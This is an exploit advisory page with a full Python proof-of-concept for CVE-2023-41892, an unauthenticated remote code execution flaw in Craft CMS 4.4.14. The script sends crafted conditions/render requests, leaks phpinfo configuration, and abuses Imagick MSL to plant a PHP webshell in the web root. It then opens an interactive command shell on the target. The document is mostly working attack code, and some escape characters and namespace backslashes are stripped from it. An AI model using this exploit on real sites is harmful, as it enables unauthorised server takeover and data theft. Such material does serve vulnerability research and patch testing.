Authored by Olivier Lasne

Craft CMS version 4.4.14 suffers from an unauthenticated remote code execution vulnerability.

advisories | CVE-2023-41892

#!/usr/bin/env python3
#coding: utf-8

# Exploit Title: Craft CMS unauthenticated Remote Code Execution (RCE)
# Date: 2023-12-26
# Version: 4.0.0-RC1 - 4.4.14
# Vendor Homepage: https://craftcms.com/
# Software Link: https://github.com/craftcms/cms/releases/tag/4.4.14
# Tested on: Ubuntu 22.04.3 LTS
# Tested on: Craft CMS 4.4.14
# Exploit Author: Olivier Lasne
# CVE : CVE-2023-41892
# References :
# https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g
# https://blog.calif.io/p/craftcms-rce

import requests
import sys, re

if(len(sys.argv) < 2):
print(f"33[1;96mUsage:33[0m python {sys.argv[0]} 33[1;96m<url>33[0m")
exit()

HOST = sys.argv[1]

if not re.match('^https?://.*', HOST):
print("33[1;31m[-]33[0m URL should start with http or https")
exit()

print("33[1;96m[+]33[0m Executing phpinfo to extract some config infos")

## Execute phpinfo() and extract config info from the website
url = HOST + '/index.php'
content_type = {'Content-Type': 'application/x-www-form-urlencoded'}

data = r'action=conditions/render&test[userCondition]=craftelementsconditionsusersUserCondition&config={"name":"test[userCondition]","as xyz":{"class":"GuzzleHttpPsr7FnStream","__construct()":[{"close":null}],"_fn_close":"phpinfo"}}'

try:
r = requests.post(url, headers=content_type, data=data)
except:
print(f"33[1;31m[-]33[0m Could not connect to {HOST}")
exit()

# If we succeed, we should have default phpinfo credits
if not 'PHP Group' in r.text:
print(f'33[1;31m[-]33[0m {HOST} is not exploitable.')
exit()


# Extract config value for tmp_dir and document_root
pattern1 = r'<tr><td class="e">upload_tmp_dir</td><td class="v">(.*?)</td><td class="v">(.*?)</td></tr>'
pattern2 = r'<tr><td class="e">$_SERVER['DOCUMENT_ROOT']</td><td class="v">([^<]+)</td></tr>'

tmp_dir = re.search(pattern1, r.text, re.DOTALL).group(1)
document_root = re.search(pattern2, r.text, re.DOTALL).group(1)


if 'no value' in tmp_dir:
tmp_dir = '/tmp'

print(f'temporary directory: {tmp_dir}')
print(f'web server root: {document_root}')

## Create shell.php in tmp_dir

data = {
"action": "conditions/render",
"configObject[class]": "craftelementsconditionsElementCondition",
"config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'
}

files = {
"image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:<?php @system(@$_REQUEST['cmd']); ?>"/>
<write filename="info:DOCUMENTROOT/shell.php"/>
</image>""".replace("DOCUMENTROOT", document_root), "text/plain")
}

print(f'33[1;96m[+]33[0m create shell.php in {tmp_dir}')
r = requests.post(url, data=data, files=files) #, proxies={'http' : 'http://127.0.0.1:8080'}) #


# Use the Imagick trick to move the webshell in DOCUMENT_ROOT

data = {
"action": "conditions/render",
"configObject[class]": r"craftelementsconditionsElementCondition",
"config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmp_dir + r'/php*"}}}'
}

print(f'33[1;96m[+]33[0m trick imagick to move shell.php in {document_root}')
r = requests.post(url, data=data) #, proxies={"http": "http://127.0.0.1:8080"})

if r.status_code != 502:
print("33[1;31m[-]33[0m Exploit failed")
exit()

print(f"n33[1;95m[+]33[0m Webshell is deployed: {HOST}/33[1mshell.php33[0m?cmd=whoami")
print(f"33[1;95m[+]33[0m Remember to 33[1mdelete shell.php33[0m in 33[1m{document_root}33[0m when you're donen")
print("33[1;92m[!]33[0m Enjoy your shelln")

url = HOST + '/shell.php'

## Pseudo Shell
while True:
command = input('33[1;96m>33[0m ')
if command == 'exit':
exit()

if command == 'clear' or command == 'cls':
print('n' * 100)
print('33[H33[3J', end='')
continue

data = {'cmd' : command}
r = requests.post(url, data=data) #, proxies={"http": "http://127.0.0.1:8080"})

# exit if we have an error
if r.status_code != 200:
print(f"Error: status code {r.status_code} for {url}")
exit()

res_command = r.text
res_command = re.sub('^caption:', '', res_command)
res_command = re.sub(' CAPTION.*$', '', res_command)

print(res_command, end='')